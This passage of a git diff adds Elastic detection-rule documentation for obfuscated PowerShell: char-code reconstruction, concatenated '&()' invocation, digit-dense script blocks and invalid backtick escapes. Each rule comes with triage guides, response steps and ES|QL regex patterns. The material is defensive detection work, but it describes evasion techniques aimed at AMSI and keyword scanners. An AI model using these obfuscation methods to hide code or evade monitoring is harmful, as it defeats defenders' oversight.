recovered `process.entity_id` or fallback `host.id` + `user.id` + tight alert window. Use `registry.data.strings` only after `registry.path` points to persistence or policy state. + - Implication: escalate when decoded content feeds `Invoke-Expression`, reflection, Base64, decompression, dynamic member access, payload writes, or persistence/policy registry changes; lower concern only when decoded values are static data and available endpoint telemetry does not contradict that. Missing endpoint file or registry telemetry leaves follow-on activity unresolved. + +- Do decoded or recovered process destinations fit the decoded intent? + - Focus: if endpoint network telemetry is available, DNS lookup_result and connection fields: `dns.question.name`, `dns.resolved_ip`, `destination.ip`, and `destination.port`. + - Hint: scope network review with same-PID events around `@timestamp`, or with recovered `process.entity_id` where available. Correlate DNS `dns.resolved_ip` to connection `destination.ip`. Missing network telemetry is unresolved, not benign. !{investigate{"description":"","label":"Network and DNS events for the PowerShell PID","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"network","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"}],[{"excluded":false,"field":"event.category","queryType":"phrase","value":"dns","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when decoded URLs, domains, or IPs lead to rare public infrastructure, direct IP access, nonstandard ports, or destinations unrelated to the recovered workflow; lower concern when destinations are internal, proxy, or vendor services aligned with the same generated-script or updater workflow. + +- If local evidence is suspicious or unresolved, does the pattern recur beyond this host or user? + - Focus: related alerts for the same `user.id` in the last 48 hours, comparing decoded strings, reconstruction pattern, and `file.path`. !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Hint: if the user view is sparse, pivot to same-`host.id` alerts and compare decoded indicators or source path. !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: broaden scope when the same decoded indicator or reconstruction pattern appears on unrelated hosts or accounts; keep scope local when confined to one recovered workflow. Do not close solely because no prior alerts exist. + +- Escalate for hidden execution, download, staging, persistence, credential, policy-control, or defense-evasion behavior; close only when alert-local and recovered evidence bind one benign generated-script or updater workflow with no contradictions; preserve and escalate when decoding, fragments, or conditional endpoint telemetry remain incomplete. + + +*False positive analysis* + + +- Generated build, packaging, localization, templating, vendor bootstrap, or updater scripts can legitimately rebuild strings from character codes. Confirm only when decoded content resolves to static data, expected generator output, installation, or update logic; `file.path`, `user.id`, and `host.id` fit that workflow; recovered `process.command_line` or `process.parent.executable` supports it; and any available destination evidence reaches vendor, proxy, or internal update services rather than staging infrastructure. Without change or ownership records, use telemetry-only confirmation: the same source path, actor/host scope, and decoded-string purpose recur across prior alerts from this rule. Recurrence can support a future exception, but should not be the primary reason to close the first alert. +- Before creating an exception, anchor it to indexed alert fields such as `user.id`, `host.id`, file-backed `file.path`, and a tightly bounded `powershell.file.script_block_text` pattern that represents the confirmed generator or updater. Do not use `Esql.script_block_pattern_count` or `Esql.script_block_tmp` in exceptions because they are alert-local summaries rather than stable exception anchors. + + +*Response and remediation* + + +- If confirmed benign, record the evidence that proved the workflow first: decoded script purpose, validated `file.path` or repeated fileless pattern, `user.id`, `host.id`, and any recovered endpoint process or destination evidence. Then reverse temporary containment and create a narrow exception only after the same workflow recurs consistently. +- If suspicious but unconfirmed, preserve evidence first: export the alert, source 4104 event, ordered script fragments, decoded strings, source `process.pid`, and any recovered `process.entity_id`, command line, parent, file, registry, DNS, or destination artifacts. Apply reversible containment tied to the findings, such as heightened monitoring, temporary destination blocking, or host isolation when the host role allows it, then escalate before deleting artifacts or resetting accounts. +- If confirmed malicious, preserve the same script, source-event, process, artifact, and destination evidence before destructive actions. Isolate the host when business impact allows, record the malicious PowerShell `process.entity_id` before termination when it was recovered, block confirmed malicious domains, URLs, IPs, and hashes, and remove only files, registry changes, scheduled tasks, or other persistence tied to the decoded script. Reset credentials only when the investigation shows account misuse beyond local execution. +- Post-incident hardening: retain PowerShell script-block logging and endpoint telemetry needed for process, file, registry, DNS, and network recovery; constrain PowerShell automation to signed or centrally managed workflows where feasible; record the benign workflow or malicious artifact set so repeat alerts can be handled with the same evidence standard. + + +==== Setup + + + +*Setup* + + +PowerShell Script Block Logging must be enabled to generate the events used by this rule (e.g., 4104). +Setup instructions: https://ela.st/powershell-logging-setup + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-windows.powershell_operational* metadata _id, _version, _index +| where event.code == "4104" + +// Filter for scripts that contain the "char" keyword using MATCH, boosts the query performance +| where powershell.file.script_block_text : "char" + +// replace the patterns we are looking for with the 🔥 emoji to enable counting them +// The emoji is used because it's unlikely to appear in scripts and has a consistent character length of 1 +| eval Esql.script_block_tmp = replace( + powershell.file.script_block_text, + """(char\[\]\]\(\d+,\d+[^)]+|(\s?\(\[char\]\d+\s?\)\+){2,})""", + "🔥" +) + +// count how many patterns were detected by calculating the number of 🔥 characters inserted +| eval Esql.script_block_pattern_count = length(Esql.script_block_tmp) - length(replace(Esql.script_block_tmp, "🔥", "")) + +// keep the fields relevant to the query, although this is not needed as the alert is populated using _id +| keep + Esql.script_block_pattern_count, + Esql.script_block_tmp, + powershell.file.*, + file.path, + powershell.sequence, + powershell.total, + _id, + _version, + _index, + host.name, + host.id, + agent.id, + user.id, + process.pid + +// Filter for scripts that match the pattern at least once +| where Esql.script_block_pattern_count >= 1 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Obfuscated Files or Information +** ID: T1027 +** Reference URL: https://attack.mitre.org/techniques/T1027/ +* Sub-technique: +** Name: Command Obfuscation +** ID: T1027.010 +** Reference URL: https://attack.mitre.org/techniques/T1027/010/ +* Technique: +** Name: Deobfuscate/Decode Files or Information +** ID: T1140 +** Reference URL: https://attack.mitre.org/techniques/T1140/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-powershell-obfuscation-via-concatenated-dynamic-command-invocation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-powershell-obfuscation-via-concatenated-dynamic-command-invocation.asciidoc new file mode 100644 index 0000000000..1816cedeb8 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-powershell-obfuscation-via-concatenated-dynamic-command-invocation.asciidoc @@ -0,0 +1,194 @@ +[[prebuilt-rule-8-19-34-potential-powershell-obfuscation-via-concatenated-dynamic-command-invocation]] +=== Potential PowerShell Obfuscation via Concatenated Dynamic Command Invocation + +Detects PowerShell scripts that builds commands from concatenated string literals inside dynamic invocation constructs like &() or .(). Attackers use concatenated dynamic invocation to obscure execution intent, bypass keyword-based detections, and evade AMSI. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: PowerShell Logs +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Script-Based Execution +* Rule Type: ES|QL +* Platform: Windows + +*Version*: 12 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential PowerShell Obfuscation via Concatenated Dynamic Command Invocation* + + + +*Possible investigation steps* + + +- What did the alert preserve about the concatenated dynamic invocation? + - Focus: `Esql.script_block_pattern_count`, `powershell.file.script_block_text`, and `powershell.file.script_block_id`. + - Hint: use full-alert `Esql.script_block_tmp` only when you need the match-local slice. + - Implication: escalate faster when multiple call-operator or dot-sourced matches sit near download, reflection, credential, persistence, or execution logic; lower suspicion only when one short match resolves to a transparent helper and source recovery supports the same recognized workflow. +- Can you reconstruct the full source 4104 script block before interpreting context? + - Why: PowerShell can split large script blocks, and this ES|QL alert keeps summary fields that do not replace source-event recovery. + - Focus: query PowerShell Operational source events with `host.id`, `powershell.file.script_block_id`, `powershell.sequence`, and `powershell.total`; order fragments and record source `process.pid` when recovered. !{investigate{"description":"","label":"Script block fragments for the same script","providers":[[{"excluded":false,"field":"powershell.file.script_block_id","queryType":"phrase","value":"{{powershell.file.script_block_id}}","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: incomplete fragments are unresolved, not benign; escalation is stronger when reconstruction exposes hidden stages, fileless delivery, or missing execution context. +- What command or script does the concatenation resolve to, and does the operator expand impact? + - Focus: reconstructed `powershell.file.script_block_text`, surrounding variable assignments, and call-operator versus dot-sourcing use. + - Implication: escalate when the resolved token hides invocation or LOLBin logic that the surrounding code then executes; lower suspicion when reconstruction leaves one readable helper inside a recognized module or compatibility wrapper. +- Does the source event show a file-backed or fileless origin that fits this user and host? + - Focus: recovered `file.path`, `user.id`, source-event `user.name`, source-event `user.domain`, and `host.id`. + - Implication: escalate when the script is fileless or sourced from temp, downloads, profiles, shares, or another user-writable path under an unexpected identity; lower suspicion when the file path and user-host pairing match the same recognized admin module or compatibility workflow. + - Hint: absent `file.path` after source recovery means interactive, pasted, or memory-only activity; require stronger corroboration before closure. +- Can you recover the PowerShell process launch chain? + - Focus: source `process.pid` plus same-host process-start telemetry for recovered `process.entity_id`, `process.command_line`, and `process.parent.executable`. + - Hint: if endpoint process telemetry is unavailable, keep later pivots bounded to `host.id` plus `user.id` or `user.name` in the alert window rather than assuming process scope. !{investigate{"description":"","label":"Process events for the PowerShell instance","providers":[[{"excluded":false,"field":"process.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when PowerShell is launched by Office, a browser, an archive extractor, a LOLBin, an unexpected service, or a remote session; lower suspicion when the launch chain matches the same recognized management tool or scheduled task already supported by source evidence. +- Does the reconstructed script show layered obfuscation or payload-delivery logic beyond concatenation? + - Focus: `powershell.file.script_block_entropy_bits`, `powershell.file.script_block_surprisal_stdev`, `powershell.file.script_block_length`, and reconstructed `powershell.file.script_block_text`; compare `powershell.file.script_block_length` against `Esql.script_block_pattern_count` to detect dead-code inflation around few match sites. + - Implication: escalate when concatenation sits beside encoding, reflection, decoder routines, download strings, hidden payload material, dead-code padding, or Get-Command wildcard resolution. +- Did the recovered process or host-window activity retrieve, stage, or execute follow-on content? + - Focus: child starts from recovered `process.entity_id`, same-PID 4104 blocks, and file, DNS, or connection side effects: `file.path`, `dns.question.name`, and `destination.ip`. + - Hint: missing file, DNS, or network telemetry is unresolved, not benign; if `process.entity_id` was not recovered, scope only by `host.id` plus `user.id` or `user.name` in the alert window. !{investigate{"description":"","label":"Child process activity from the PowerShell instance","providers":[[{"excluded":false,"field":"process.parent.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"event.type","queryType":"phrase","value":"start","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} !{investigate{"description":"","label":"File, network, and DNS events for the PowerShell PID","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"}],[{"excluded":false,"field":"event.category","queryType":"phrase","value":"network","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"}],[{"excluded":false,"field":"event.category","queryType":"phrase","value":"dns","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} !{investigate{"description":"","label":"Script block events for the PowerShell PID","providers":[[{"excluded":false,"field":"event.code","queryType":"phrase","value":"4104","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when the same process chain spawns shells, writes scripts or binaries, or reaches rare external destinations. +- If local findings remain suspicious or unresolved, does related alert history change scope? + - Focus: related alerts for the same `user.id` in the last 48 hours, prioritizing repeated obfuscated PowerShell, the same resolved token, or script path. !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Hint: if the user view is sparse or shared, pivot to the same `host.id` in the last 48 hours. !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: broaden response when repeated obfuscation, AMSI tampering, encoded commands, download, credential-access, or persistence alerts cluster on the same user or host; keep scope local when the alert is isolated and local evidence resolves to one recognized workflow. + +- Escalate on intentionally hidden PowerShell execution across match details, reconstruction, origin, launch chain, layered obfuscation, or follow-on activity; close only when recovered script, resolved token, origin, user-host context, launch chain, and side-effect telemetry align with one recognized workflow; preserve artifacts and escalate when reconstruction, process recovery, or file/network visibility stays incomplete. + + +*False positive analysis* + + +- Internal compatibility wrappers, module loaders, code-protected vendor scripts, or administrative scripts may concatenate or dot-source helper names. Confirm recovered `powershell.file.script_block_text`, resolved token, `file.path` or stable helper path, recovered parent executable, dot-sourced location, and `user.id` plus `host.id` all align with one recognized workflow, with child process, file, DNS, and network effects contained to it. If external records are unavailable, require the same `file.path` or helper path, resolved token, parent executable, and user-host pairing to recur across prior alerts from this rule. +- Before creating an exception, anchor it on stable `file.path`, resolved token, recovered parent executable, and relevant `host.id` or `user.id` scope. Avoid exceptions on `Esql.script_block_pattern_count`, `Esql.script_block_tmp`, `user.name`, or `powershell.file.script_block_text` alone. + + +*Response and remediation* + + +- If confirmed benign, reverse any temporary containment and document the evidence that proved one recognized workflow: resolved token, recovered `file.path`, launch chain, and `user.id` plus `host.id` scope. Create an exception only after the same pattern recurs consistently. +- If suspicious but unconfirmed, preserve the alert, reconstructed script fragments, recovered process identifiers, launch chain, staged file paths, DNS names, destination IPs, and case timeline before containment or cleanup. +- Apply reversible containment first: heightened monitoring, temporary outbound restrictions, or PowerShell restrictions on the affected `host.id`. Escalate to host isolation only when launch-chain or follow-on evidence indicates likely payload execution, lateral movement, or active command-and-control. +- If confirmed malicious, isolate the endpoint or contain the account based on the identity, launch-chain, file, and network evidence. Before suspending or terminating PowerShell, record the recovered process entity ID, command line, parent chain, resolved token, reconstructed script fragments, and staged file or network indicators. +- Review related hosts and users for the same resolved token, stable file path, parent executable, and destination indicators before removing artifacts so scoping completes before evidence is destroyed. +- Remove only the unauthorized scripts, dropped payloads, and persistence artifacts identified during the investigation, then remediate the delivery path or administrative-control gap that allowed obfuscated PowerShell execution. +- Post-incident hardening: retain Script Block Logging and endpoint process/file/network telemetry, restrict PowerShell where it is not required, and document the resolved token, script path, launch chain, and side-effect pattern that distinguished benign workflow from abuse. + +==== Setup + + + +*Setup* + + +PowerShell Script Block Logging must be enabled to generate the events used by this rule (e.g., 4104). +Setup instructions: https://ela.st/powershell-logging-setup + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-windows.powershell_operational* metadata _id, _version, _index +| where event.code == "4104" and powershell.file.script_block_text like "*+*" + +// replace the patterns we are looking for with the 🔥 emoji to enable counting them +// The emoji is used because it's unlikely to appear in scripts and has a consistent character length of 1 +| eval Esql.script_block_tmp = replace( + powershell.file.script_block_text, + """[.&]\(\s*(['"][A-Za-z0-9.-]+['"]\s*\+\s*)+['"][A-Za-z0-9.-]+['"]\s*\)""", + "🔥" +) + +// count how many patterns were detected by calculating the number of 🔥 characters inserted +| eval Esql.script_block_pattern_count = length(Esql.script_block_tmp) - length(replace(Esql.script_block_tmp, "🔥", "")) + +// keep the fields relevant to the query, although this is not needed as the alert is populated using _id +| keep + Esql.script_block_pattern_count, + Esql.script_block_tmp, + powershell.file.*, + file.path, + process.pid, + powershell.sequence, + powershell.total, + _id, + _version, + _index, + host.name, + host.id, + agent.id, + user.id + +// Filter for scripts that match the pattern at least once +| where Esql.script_block_pattern_count >= 1 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Obfuscated Files or Information +** ID: T1027 +** Reference URL: https://attack.mitre.org/techniques/T1027/ +* Sub-technique: +** Name: Command Obfuscation +** ID: T1027.010 +** Reference URL: https://attack.mitre.org/techniques/T1027/010/ +* Technique: +** Name: Deobfuscate/Decode Files or Information +** ID: T1140 +** Reference URL: https://attack.mitre.org/techniques/T1140/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-powershell-obfuscation-via-high-numeric-character-proportion.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-powershell-obfuscation-via-high-numeric-character-proportion.asciidoc new file mode 100644 index 0000000000..cb49f50bea --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-powershell-obfuscation-via-high-numeric-character-proportion.asciidoc @@ -0,0 +1,217 @@ +[[prebuilt-rule-8-19-34-potential-powershell-obfuscation-via-high-numeric-character-proportion]] +=== Potential PowerShell Obfuscation via High Numeric Character Proportion + +Detects long PowerShell script block content with unusually high numeric character density (high digit-to-length ratio), often produced by byte arrays, character-code reconstruction, or embedded encoded blobs. Attackers use numeric-heavy obfuscation to conceal payloads and rebuild them at runtime to avoid static inspection. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: PowerShell Logs +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Threat: Script-Based Execution +* Rule Type: ES|QL +* Platform: Windows + +*Version*: 13 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This guide was created by humans with the assistance of generative AI. While its contents have been manually curated to include the most valuable information, always validate assumptions and adjust procedures to match your internal runbooks and incident triage and response policies. + + +*Investigating Potential PowerShell Obfuscation via High Numeric Character Proportion* + + +This rule flags long PowerShell script blocks with unusually digit-dense content. Numeric-heavy script blocks are often used to conceal payloads as byte arrays or character codes that are decoded at runtime. Triage should focus on reconstructing the full script content, determining how it was initiated, and identifying any decoded or executed secondary content. + + +*Key alert fields to review* + + +- `user.name`, `user.domain`, `user.id`: Account execution context for correlation, prioritization, and scoping. +- `host.name`, `host.id`: Host execution context for correlation, prioritization, and scoping. +- `file.path`, `file.directory`, `file.name`: File-origin context when the script block is sourced from an on-disk file. +- `powershell.file.script_block_text`: Script block content that matched the detection logic. +- `powershell.file.script_block_id`, `powershell.sequence`, `powershell.total`: Script block metadata to pivot to other fragments or reconstruct full script content when split across multiple events. +- `Esql.script_block_tmp`: Transformed script block where detection patterns replace original content with a marker to support scoring/counting and quickly spot match locations. +- `Esql.script_block_ratio`: Proportion of the script block's characters that match the alert's target character set, divided by total script length (0-1). +- `Esql.script_block_pattern_count`: Count of matches for the detection pattern(s) observed in the script block content. +- `powershell.file.script_block_entropy_bits`: Shannon entropy of the script block. Higher values may indicate obfuscation. +- `powershell.file.script_block_surprisal_stdev`: Standard deviation of surprisal across the script block. Low values indicate uniform randomness. High values indicate mixed patterns and variability. +- `powershell.file.script_block_unique_symbols`: Count of distinct characters present in the script block. +- `powershell.file.script_block_length`: Script block length (size) context. + + +*Possible investigation steps* + + +- Review `powershell.file.script_block_text` to characterize the numeric content: + - Look for long comma-separated numbers, repeated digit sequences, or `0x`-prefixed values that may represent reconstructed bytes. + - Identify string reconstruction patterns (for example, casting numeric values to characters) and any subsequent decoding or decompression logic. + - Note any execution primitives that would run derived content (for example, invoking dynamically built commands or loading content into memory). +- If the script is fragmented, use `powershell.sequence` and `powershell.total` to collect the related script block events on the same `host.name` and `user.id` and reconstruct the complete content in the correct order before drawing conclusions. +- Establish execution context and scope using `host.name`, `host.id`, `agent.id`, and `user.id`: + - Determine whether the user context is expected to run PowerShell and whether similar script blocks have occurred recently on the same host or by the same user. + - Look for other alerts on the same host or user that could indicate staging, persistence, or lateral movement. +- Assess script origin using `file.path` and `file.directory` when present: + - Determine whether the script is sourced from a location consistent with approved administration or automation workflows. + - If the script is file-backed, check for other security telemetry referencing the same path to identify file creation, modification, or repeated execution patterns. +- Correlate with adjacent telemetry (as available in your environment) using the host and user pivots above: + - Process execution telemetry near the alert time to identify the PowerShell host process and its parent, and to understand how PowerShell was launched. + - Network telemetry for outbound connections or downloads that could support payload retrieval or command and control. + - File activity for dropped payloads or staging artifacts related to the script content or its on-disk source. + + +*False positive analysis* + + +- Legitimate scripts that embed binary content as numeric arrays (for example, packaging resources into scripts or deploying configuration blobs) can appear digit-dense. +- Administrative tooling that generates large reports, inventories, or exports may include extensive numeric identifiers and constants. +- Some legitimate security or management products may produce numeric-heavy PowerShell content as part of automation; validate against known software, expected execution accounts, and change windows. + + +*Response and remediation* + + +- If malicious behavior is suspected, contain the affected host to prevent further execution and reduce the risk of follow-on activity. +- Preserve the script content from `powershell.file.script_block_text` (and any reconstructed multi-part content) for deeper analysis and to support incident response and retrospective hunting. +- If `file.path` is present and the source is not authorized, remove or quarantine the script and investigate related host artifacts and execution mechanisms. +- Investigate potential account compromise for the associated `user.id` by reviewing recent authentication and endpoint activity; take credential and session remediation actions in line with your procedures. +- Hunt for related activity using `host.id`, `agent.id`, `user.id`, and distinctive script patterns identified during triage to find additional impacted systems. +- Apply preventive controls based on findings, such as tightening PowerShell usage for affected accounts, improving script provenance controls, and enhancing monitoring for similar obfuscation patterns. + + +==== Setup + + + +*Setup* + + +PowerShell Script Block Logging must be enabled to generate the events used by this rule (e.g., 4104). +Setup instructions: https://ela.st/powershell-logging-setup + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-windows.powershell_operational* metadata _id, _version, _index +| where event.code == "4104" + +// Filter out smaller scripts that are unlikely to implement obfuscation using the patterns we are looking for +| eval Esql.script_block_length = length(powershell.file.script_block_text) +| where Esql.script_block_length > 1000 + +// replace the patterns we are looking for with the 🔥 emoji to enable counting them +// The emoji is used because it's unlikely to appear in scripts and has a consistent character length of 1 +| eval Esql.script_block_tmp = replace(powershell.file.script_block_text, """[0-9]""", "🔥") + +// count how many patterns were detected by calculating the number of 🔥 characters inserted +| eval Esql.script_block_pattern_count = Esql.script_block_length - length(replace(Esql.script_block_tmp, "🔥", "")) + +// Calculate the ratio of special characters to total length +| eval Esql.script_block_ratio = Esql.script_block_pattern_count::double / Esql.script_block_length::double + +// keep the fields relevant to the query, although this is not needed as the alert is populated using _id +| keep + Esql.script_block_pattern_count, + Esql.script_block_ratio, + Esql.script_block_length, + Esql.script_block_tmp, + powershell.file.*, + file.directory, + file.path, + powershell.sequence, + powershell.total, + _id, + _version, + _index, + host.name, + host.id, + agent.id, + user.id + +// Filter for scripts with high numeric character ratio +| where Esql.script_block_ratio > 0.5 + +// Exclude Windows Defender Noisy Patterns +| where not ( + file.directory == "C:\\ProgramData\\Microsoft\\Windows Defender Advanced Threat Protection\\Downloads" or + file.directory like ( + "C:\\\\ProgramData\\\\Microsoft\\\\Windows Defender Advanced Threat Protection\\\\DataCollection*", + "C:\\\\Program Files\\\\SentinelOne\\\\Sentinel Agent*" + ) + ) + // ESQL requires this condition, otherwise it only returns matches where file.directory exists. + or file.directory is null +| where not powershell.file.script_block_text like "*[System.IO.File]::Open('C:\\\\ProgramData\\\\Microsoft\\\\Windows Defender Advanced Threat Protection\\\\DataCollection*" +| where not powershell.file.script_block_text : "26a24ae4-039d-4ca4-87b4-2f64180311f0" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Obfuscated Files or Information +** ID: T1027 +** Reference URL: https://attack.mitre.org/techniques/T1027/ +* Sub-technique: +** Name: Command Obfuscation +** ID: T1027.010 +** Reference URL: https://attack.mitre.org/techniques/T1027/010/ +* Technique: +** Name: Deobfuscate/Decode Files or Information +** ID: T1140 +** Reference URL: https://attack.mitre.org/techniques/T1140/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-powershell-obfuscation-via-invalid-escape-sequences.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-powershell-obfuscation-via-invalid-escape-sequences.asciidoc new file mode 100644 index 0000000000..b505e7c239 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-potential-powershell-obfuscation-via-invalid-escape-sequences.asciidoc @@ -0,0 +1,236 @@ +[[prebuilt-rule-8-19-34-potential-powershell-obfuscation-via-invalid-escape-sequences]] +=== Potential PowerShell Obfuscation via Invalid Escape Sequences + +Detects PowerShell scripts with repeated invalid backtick escapes between word characters (letters, digits, underscore, or dash), splitting tokens while preserving execution. Attackers use this obfuscation to fragment keywords and evade pattern-based detection and AMSI. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: PowerShell Logs +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Script-Based Execution +* Rule Type: ES|QL +* Platform: Windows + +*Version*: 13 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This guide was created by humans with the assistance of generative AI. While its contents have been manually curated to include the most valuable information, always validate assumptions and adjust procedures to match your internal runbooks and incident triage and response policies. + + +*Investigating Potential PowerShell Obfuscation via Invalid Escape Sequences* + + +This rule flags PowerShell script block content that repeatedly inserts invalid backtick escape sequences within otherwise contiguous word characters. This can fragment tokens (cmdlets, parameters, variable names, strings) while preserving execution and readability to the interpreter, which can hinder content inspection and pattern-based detections. + +Analyst goals: +- Reconstruct complete script block content when split across multiple events. +- Normalize the content (remove or correct invalid escapes) to reveal the underlying logic. +- Determine execution context (host, user, script origin) and correlate with adjacent activity to assess intent and impact. + + +*Key alert fields to review* + + +- `user.name`, `user.domain`, `user.id`: Account execution context for correlation, prioritization, and scoping. +- `host.name`, `host.id`: Host execution context for correlation, prioritization, and scoping. +- `file.path`, `file.directory`, `file.name`: File-origin context when the script block is sourced from an on-disk file. +- `powershell.file.script_block_text`: Script block content that matched the detection logic. +- `powershell.file.script_block_id`, `powershell.sequence`, `powershell.total`: 